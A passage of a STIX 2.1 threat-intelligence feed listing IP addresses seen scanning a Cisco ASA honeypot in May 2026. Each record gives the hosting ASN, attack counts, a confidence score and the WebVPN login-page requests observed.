      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--b0fb0ef4-816f-4b58-a01e-77d69c447165",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.172.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T04:20:10.000Z",
      "valid_until": "2026-06-06T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-05T04:12:17.610Z",
          "last_seen": "2026-05-06T00:46:30.241Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T04:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--46183f02-395b-4555-9733-d89fb5ceba95",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '173.249.254.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T04:20:10.000Z",
      "valid_until": "2026-06-06T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-05T03:54:29.382Z",
          "last_seen": "2026-05-07T06:53:39.133Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T04:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--28025f99-f236-4c52-b54f-18590fc2f96e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.104.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T04:20:10.000Z",
      "valid_until": "2026-06-06T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-05T03:29:30.821Z",
          "last_seen": "2026-05-29T10:09:34.349Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T04:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--e938d469-02e0-449d-bdd6-327da643cab4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.81.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T04:20:10.000Z",
      "valid_until": "2026-06-06T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-05T00:37:47.464Z",
          "last_seen": "2026-05-09T07:07:29.237Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T04:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--a7269299-d89c-469b-aa00-77b5465911ae",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '87.249.134.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T04:20:10.000Z",
      "valid_until": "2026-06-06T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 24,
          "first_seen": "2026-05-05T03:23:39.392Z",
          "last_seen": "2026-05-24T04:11:06.263Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--f34699ec-2e03-4004-a430-6751144c14ad",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '104.36.50.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T05:20:10.000Z",
      "valid_until": "2026-06-06T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-05T05:14:20.057Z",
          "last_seen": "2026-05-29T14:34:33.046Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--b978ee88-582d-4e47-93bf-660ea8effe61",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.211.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T05:20:10.000Z",
      "valid_until": "2026-06-06T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-05T04:29:46.329Z",
          "last_seen": "2026-05-05T08:40:00.114Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--2f681b8f-f460-422f-a769-a0dd6605caaa",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.91.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T05:20:10.000Z",
      "valid_until": "2026-06-06T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-05T04:58:53.909Z",
          "last_seen": "2026-05-10T11:43:01.807Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--9a386ef9-447f-456b-b5a2-1bc12c034261",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.95.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T05:20:10.000Z",
      "valid_until": "2026-06-06T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-05T05:06:16.118Z",
          "last_seen": "2026-05-07T12:58:43.828Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--c5eb73bf-d3e4-43f9-a005-f39ee67425bf",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '37.19.221.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T05:20:10.000Z",
      "valid_until": "2026-06-06T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 48,
          "first_seen": "2026-05-05T04:32:39.652Z",
          "last_seen": "2026-05-29T02:53:43.935Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--a0436dd8-b97f-4909-9bbe-3474cc167555",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '173.249.252.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T06:20:10.000Z",
      "valid_until": "2026-06-06T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-05T06:00:01.467Z",
          "last_seen": "2026-05-08T06:23:04.547Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 30671 (Data Bridge Limited)",
      "id": "indicator--112a474c-021a-48ec-9873-1200d0e32f7e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.160.24.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T06:20:10.000Z",
      "valid_until": "2026-06-06T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-05T05:51:28.516Z",
          "last_seen": "2026-05-27T01:08:36.707Z",
          "country": "United States",
          "country_code": "US",
          "asn": 30671,
          "as_org": "Data Bridge Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 400882 (Cyber Data LLC)",
      "id": "indicator--7a43f2cb-129c-407c-bba4-91a4f1811993",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.162.40.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T06:20:10.000Z",
      "valid_until": "2026-06-06T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-05T05:24:02.847Z",
          "last_seen": "2026-05-05T21:52:35.140Z",
          "country": "United States",
          "country_code": "US",
          "asn": 400882,
          "as_org": "Cyber Data LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--8bde74c8-5d8f-4812-b37a-4bd202188f84",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.117.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T06:20:10.000Z",
      "valid_until": "2026-06-06T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-05T05:51:21.408Z",
          "last_seen": "2026-05-26T13:36:44.404Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--5739de20-9be3-4a5a-ad9d-d2920800216b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '138.199.43.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T08:20:10.000Z",
      "valid_until": "2026-06-06T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-05T08:13:57.340Z",
          "last_seen": "2026-05-26T17:27:21.823Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--c7d92e21-fe89-4921-8362-478a38aa17d1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '143.244.47.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T08:20:10.000Z",
      "valid_until": "2026-06-06T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 24,
          "first_seen": "2026-05-05T07:58:34.160Z",
          "last_seen": "2026-05-25T22:40:14.099Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 8075 (Microsoft Corporation)",
      "id": "indicator--5fbbdf25-38a7-44cb-87fb-25ea9e463a5e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '20.169.104.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T08:20:10.000Z",
      "valid_until": "2026-06-06T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-05T08:15:17.404Z",
          "last_seen": "2026-05-05T08:15:20.407Z",
          "country": "United States",
          "country_code": "US",
          "asn": 8075,
          "as_org": "Microsoft Corporation",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--20c07743-e5cc-441e-9adb-85a44dced447",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.104.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T08:20:10.000Z",
      "valid_until": "2026-06-06T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-05T07:57:01.329Z",
          "last_seen": "2026-05-23T06:49:18.496Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--0374ea69-adf8-4604-aff8-061a3525a923",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.68.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T08:20:10.000Z",
      "valid_until": "2026-06-06T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-05T07:51:20.848Z",
          "last_seen": "2026-05-13T01:25:33.525Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--b912cb02-e2f1-478f-b7d7-bcab32ab697f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.69.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T08:20:10.000Z",
      "valid_until": "2026-06-06T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-05T07:31:41.735Z",
          "last_seen": "2026-05-09T02:57:54.130Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T08:20:10.000Z",
